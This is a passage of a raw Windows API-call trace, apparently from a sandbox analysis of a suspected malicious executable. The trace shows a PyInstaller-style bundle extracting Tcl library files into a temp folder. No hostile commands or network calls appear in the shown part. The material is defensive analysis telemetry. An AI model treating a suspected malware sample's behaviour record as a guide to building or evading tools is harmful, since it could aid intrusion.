Flags=0x0, Size=0x1000) returned 0x560088 [0037.895] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.895] htonl (hostlong=0x665b0000) returned 0x5b66 [0037.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5b66) returned 0x561090 [0037.895] htonl (hostlong=0xb51b0000) returned 0x1bb5 [0037.895] htonl (hostlong=0x665b0000) returned 0x5b66 [0037.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566c00 [0037.896] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566c00 | out: hHeap=0x530000) returned 1 [0037.896] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.896] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.896] CloseHandle (hObject=0x10c) returned 1 [0037.896] GetLastError () returned 0x0 [0037.896] SetLastError (dwErrCode=0x0) [0037.896] GetLastError () returned 0x0 [0037.896] SetLastError (dwErrCode=0x0) [0037.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.896] GetFileType (hFile=0x10c) returned 0x1 [0037.896] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.896] CloseHandle (hObject=0x10c) returned 1 [0037.896] GetLastError () returned 0x0 [0037.896] SetLastError (dwErrCode=0x0) [0037.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl") returned 61 [0037.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\package.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.897] GetLastError () returned 0x2 [0037.897] SetLastError (dwErrCode=0x2) [0037.897] GetLastError () returned 0x2 [0037.897] SetLastError (dwErrCode=0x2) [0037.897] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl", lpFilePart=0x0) returned 0x3c [0037.897] GetLastError () returned 0x2 [0037.897] SetLastError (dwErrCode=0x2) [0037.897] GetLastError () returned 0x2 [0037.897] SetLastError (dwErrCode=0x2) [0037.897] GetLastError () returned 0x2 [0037.897] SetLastError (dwErrCode=0x2) [0037.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl") returned 61 [0037.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\package.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\package.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.897] GetFileType (hFile=0x10c) returned 0x1 [0037.897] htonl (hostlong=0x665b0000) returned 0x5b66 [0037.897] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0037.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0037.899] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb66, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb66, lpOverlapped=0x0) returned 1 [0037.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.899] CloseHandle (hObject=0x10c) returned 1 [0037.901] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0037.901] htonl (hostlong=0x30000000) returned 0x30 [0037.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.902] GetFileType (hFile=0x10c) returned 0x1 [0037.902] htonl (hostlong=0x52f65700) returned 0x57f652 [0037.902] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ca652, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.902] htonl (hostlong=0xba010000) returned 0x1ba [0037.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ba) returned 0x550600 [0037.902] htonl (hostlong=0xba010000) returned 0x1ba [0037.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.902] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.902] htonl (hostlong=0x23030000) returned 0x323 [0037.902] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x323) returned 0x5507c8 [0037.902] htonl (hostlong=0xba010000) returned 0x1ba [0037.902] htonl (hostlong=0x23030000) returned 0x323 [0037.903] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.903] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.903] CloseHandle (hObject=0x10c) returned 1 [0037.903] GetLastError () returned 0x0 [0037.903] SetLastError (dwErrCode=0x0) [0037.903] GetLastError () returned 0x0 [0037.903] SetLastError (dwErrCode=0x0) [0037.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.904] GetFileType (hFile=0x10c) returned 0x1 [0037.904] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.904] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.904] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.904] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.904] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.904] CloseHandle (hObject=0x10c) returned 1 [0037.904] GetLastError () returned 0x0 [0037.904] SetLastError (dwErrCode=0x0) [0037.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl") returned 60 [0037.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\parray.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.904] GetLastError () returned 0x2 [0037.904] SetLastError (dwErrCode=0x2) [0037.904] GetLastError () returned 0x2 [0037.904] SetLastError (dwErrCode=0x2) [0037.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl", lpFilePart=0x0) returned 0x3b [0037.904] GetLastError () returned 0x2 [0037.904] SetLastError (dwErrCode=0x2) [0037.904] GetLastError () returned 0x2 [0037.905] SetLastError (dwErrCode=0x2) [0037.905] GetLastError () returned 0x2 [0037.905] SetLastError (dwErrCode=0x2) [0037.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl") returned 60 [0037.905] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\parray.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\parray.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.905] GetFileType (hFile=0x10c) returned 0x1 [0037.905] htonl (hostlong=0x23030000) returned 0x323 [0037.905] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.905] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x323, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x323, lpOverlapped=0x0) returned 1 [0037.906] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.906] CloseHandle (hObject=0x10c) returned 1 [0037.907] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507c8 | out: hHeap=0x530000) returned 1 [0037.907] htonl (hostlong=0x30000000) returned 0x30 [0037.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.907] GetFileType (hFile=0x10c) returned 0x1 [0037.907] htonl (hostlong=0xcf85700) returned 0x57f80c [0037.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ca80c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.907] htonl (hostlong=0x7e270000) returned 0x277e [0037.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x277e) returned 0x560088 [0037.908] htonl (hostlong=0x7e270000) returned 0x277e [0037.908] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0037.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.908] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.908] htonl (hostlong=0x92810000) returned 0x8192 [0037.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8192) returned 0x562810 [0037.908] htonl (hostlong=0x7e270000) returned 0x277e [0037.908] htonl (hostlong=0x92810000) returned 0x8192 [0037.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56a9b0 [0037.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56a9b0 | out: hHeap=0x530000) returned 1 [0037.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.909] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.909] CloseHandle (hObject=0x10c) returned 1 [0037.909] GetLastError () returned 0x0 [0037.909] SetLastError (dwErrCode=0x0) [0037.909] GetLastError () returned 0x0 [0037.909] SetLastError (dwErrCode=0x0) [0037.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.909] GetFileType (hFile=0x10c) returned 0x1 [0037.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.910] CloseHandle (hObject=0x10c) returned 1 [0037.910] GetLastError () returned 0x0 [0037.910] SetLastError (dwErrCode=0x0) [0037.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl") returned 58 [0037.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\safe.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.910] GetLastError () returned 0x2 [0037.910] SetLastError (dwErrCode=0x2) [0037.910] GetLastError () returned 0x2 [0037.910] SetLastError (dwErrCode=0x2) [0037.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl", lpFilePart=0x0) returned 0x39 [0037.910] GetLastError () returned 0x2 [0037.910] SetLastError (dwErrCode=0x2) [0037.910] GetLastError () returned 0x2 [0037.910] SetLastError (dwErrCode=0x2) [0037.910] GetLastError () returned 0x2 [0037.910] SetLastError (dwErrCode=0x2) [0037.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl") returned 58 [0037.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\safe.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\safe.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.910] GetFileType (hFile=0x10c) returned 0x1 [0037.910] htonl (hostlong=0x92810000) returned 0x8192 [0037.910] WriteFile (in: hFile=0x10c, lpBuffer=0x562810*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562810*, lpNumberOfBytesWritten=0x4fcd00*=0x8000, lpOverlapped=0x0) returned 1 [0037.912] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.912] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x192, lpOverlapped=0x0) returned 1 [0037.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.912] CloseHandle (hObject=0x10c) returned 1 [0037.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562810 | out: hHeap=0x530000) returned 1 [0037.914] htonl (hostlong=0x20000000) returned 0x20 [0037.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.914] GetFileType (hFile=0x10c) returned 0x1 [0037.914] htonl (hostlong=0x8a1f5800) returned 0x581f8a [0037.914] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ccf8a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.914] htonl (hostlong=0x42030000) returned 0x342 [0037.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x342) returned 0x550600 [0037.914] htonl (hostlong=0x42030000) returned 0x342 [0037.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.915] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.915] htonl (hostlong=0xeb180000) returned 0x18eb [0037.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18eb) returned 0x560088 [0037.915] htonl (hostlong=0x42030000) returned 0x342 [0037.915] htonl (hostlong=0xeb180000) returned 0x18eb [0037.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561980 [0037.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561980 | out: hHeap=0x530000) returned 1 [0037.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.916] CloseHandle (hObject=0x10c) returned 1 [0037.916] GetLastError () returned 0x0 [0037.916] SetLastError (dwErrCode=0x0) [0037.916] GetLastError () returned 0x0 [0037.916] SetLastError (dwErrCode=0x0) [0037.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.916] GetFileType (hFile=0x10c) returned 0x1 [0037.916] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.916] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.916] FileTimeToSystemTime (in: 